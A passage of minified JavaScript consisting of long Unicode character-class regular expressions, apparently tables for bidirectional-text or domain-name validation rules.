}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D4A}-\u{10D65}\u{10D6F}-\u{10D85}\u{10D8E}\u{10D8F}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10EC2}-\u{10EC4}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}]/u,Oi9=/^[\0-\x08\x0E-\x1B!-@\[-`\{-\x84\x86-\xA9\xAB-\xB4\xB6-\xB9\xBB-\xBF\xD7\xF7\u02B9\u02BA\u02C2-\u02CF\u02D2-\u02DF\u02E5-\u02ED\u02EF-\u036F\u0374\u0375\u037E\u0384\u0385\u0387\u03F6\u0483-\u0489\u058A\u058D-\u058F\u0591-\u05C7\u05D0-\u05EA\u05EF-\u05F4\u0600-\u070D\u070F-\u074A\u074D-\u07B1\u07C0-\u07FA\u07FD-\u082D\u0830-\u083E\u0840-\u085B\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u0897-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09F2\u09F3\u09FB\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AF1\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0BF3-\u0BFA\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C78-\u0C7E\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E3F\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39-\u0F3D\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1390-\u1399\u1400\u169B\u169C\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DB\u17DD\u17F0-\u17F9\u1800-\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1940\u1944\u1945\u19DE-\u19FF\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u200B-\u200D\u200F-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2070\u2074-\u207E\u2080-\u208E\u20A0-\u20C0\u20D0-\u20F0\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116-\u2118\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u2140-\u2144\u214A-\u214D\u2150-\u215F\u2189-\u218B\u2190-\u2335\u237B-\u2394\u2396-\u2429\u2440-\u244A\u2460-\u249B\u24EA-\u26AB\u26AD-\u27FF\u2900-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2CEF-\u2CF1\u2CF9-\u2CFF\u2D7F\u2DE0-\u2E5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFF\u3001-\u3004\u3008-\u3020\u302A-\u302D\u3030\u3036\u3037\u303D-\u303F\u3099-\u309C\u30A0\u30FB\u31C0-\u31E5\u31EF\u321D\u321E\u3250-\u325F\u327C-\u327E\u32B1-\u32BF\u32CC-\u32CF\u3377-\u337A\u33DE\u33DF\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA60D-\uA60F\uA66F-\uA67F\uA69E\uA69F\uA6F0\uA6F1\uA700-\uA721\uA788\uA802\uA806\uA80B\uA825\uA826\uA828-\uA82C\uA838\uA839\uA874-\uA877\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uAB6A\uAB6B\uABE5\uABE8\uABED\uFB1D-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD8F\uFD92-\uFDC7\uFDCF\uFDF0-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFE70-\uFE74\uFE76-\uFEFC\uFEFF\uFF01-\uFF20\uFF3B-\uFF40\uFF5B-\uFF65\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10101}\u{10140}-\u{1018C}\u{10190}-\u{1019C}\u{101A0}\u{101FD}\u{102E0}-\u{102FB}\u{10376}-\u{1037A}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{1091F}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A38}-\u{10A3A}\u{10A3F}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE6}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B39}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D27}\u{10D30}-\u{10D39}\u{10D40}-\u{10D65}\u{10D69}-\u{10D85}\u{10D8E}\u{10D8F}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAB}-\u{10EAD}\u{10EB0}\u{10EB1}\u{10EC2}-\u{10EC4}\u{10EFC}-\u{10F27}\u{10F30}-\u{10F59}\u{10F70}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{11001}\u{11038}-\u{11046}\u{11052}-\u{11065}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113BB}-\u{113C0}\u{113CE}\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{11660}-\u{1166C}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11F5A}\u{11FD5}-\u{11FF1}\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{16129}\u{1612D}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE2}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1CC00}-\u{1CCD5}\u{1CCF0}-\u{1CCF9}\u{1CD00}-\u{1CEB3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D1E9}\u{1D1EA}\u{1D200}-\u{1D245}\u{1D300}-\u{1D356}\u{1D6C1}\u{1D6DB}\u{1D6FB}\u{1D715}\u{1D735}\u{1D74F}\u{1D76F}\u{1D789}\u{1D7A9}\u{1D7C3}\u{1D7CE}-\u{1D7FF}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E2FF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8D6}\u{1E900}-\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F10F}\u{1F12F}\u{1F16A}-\u{1F16F}\u{1F1AD}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DC}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F776}\u{1F77B}-\u{1F7D9}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}-\u{1F8BB}\u{1F8C0}\u{1F8C1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA7C}\u{1FA80}-\u{1FA89}\u{1FA8F}-\u{1FAC6}\u{1FACE}-\u{1FADC}\u{1FADF}-\u{1FAE9}\u{1FAF0}-\u{1FAF8}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBF9}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*$/u,Xi9=/[0-9\xB2\xB3\xB9\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0600-\u0605\u0608\u060B\u060D\u061B-\u064A\u0660-\u0669\u066B-\u066F\u0671-\u06D5\u06DD\u06E5\u06E6\u06EE-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u08A0-\u08C9\u08E2\u200F\u2070\u2074-\u2079\u2080-\u2089\u2488-\u249B\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\u{102E1}-\u{102FB}\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D30}-\u{10D39}\u{10D40}-\u{10D65}\u{10D6F}-\u{10D85}\u{10D8E}\u{10D8F}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10EC2}-\u{10EC4}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1CCF0}-\u{1CCF9}\u{1D7CE}-\u{1D7FF}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}\u{1F100}-\u{1F10A}\u{1FBF0}-\u{1FBF9}][\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6D}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113BB}-\u{113C0}\u{113CE}\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A06}\u{11A09}\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11F5A}\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{16129}\u{1612D}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D17B}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{E0100}-\u{E01EF}]*$/u,$i9=/[0-9\xB2\xB3\xB9\u06F0-\u06F9\u2070\u2074-\u2079\u2080-\u2089\u2488-\u249B\uFF10-\uFF19\u{102E1}-\u{102FB}\u{1CCF0}-\u{1CCF9}\u{1D7CE}-\u{1D7FF}\u{1F100}-\u{1F10A}\u{1FBF0}-\u{1FBF9}]/u,_i9=/[\u0600-\u0605\u0660-\u0669\u066B\u066C\u06DD\u0890\u0891\u08E2\u{10D30}-\u{10D39}\u{10D40}-\u{10D49}\u{10E60}-\u{10E7E}]/u,Gi9=/^[\0-\x08\x0E-\x1B!-\x84\x86-\u0377\u037A-\u037F\u0384-\u038A\u038C\u038E-\u03A1\u03A3-\u052F\u0531-\u0556\u0559-\u058A\u058D-\u058F\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0606\u0607\u0609\u060A\u060C\u060E-\u061A\u064B-\u065F\u066A\u0670\u06D6-\u06DC\u06DE-\u06E4\u06E7-\u06ED\u06F0-\u06F9\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07F6-\u07F9\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09FE\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A76\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AF1\u0AF9-\u0AFF\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B77\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BFA\u0C00-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3C-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C5D\u0C60-\u0C63\u0C66-\u0C6F\u0C77-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D00-\u0D0C\u0D0E-\u0D10\u0D12-\u0D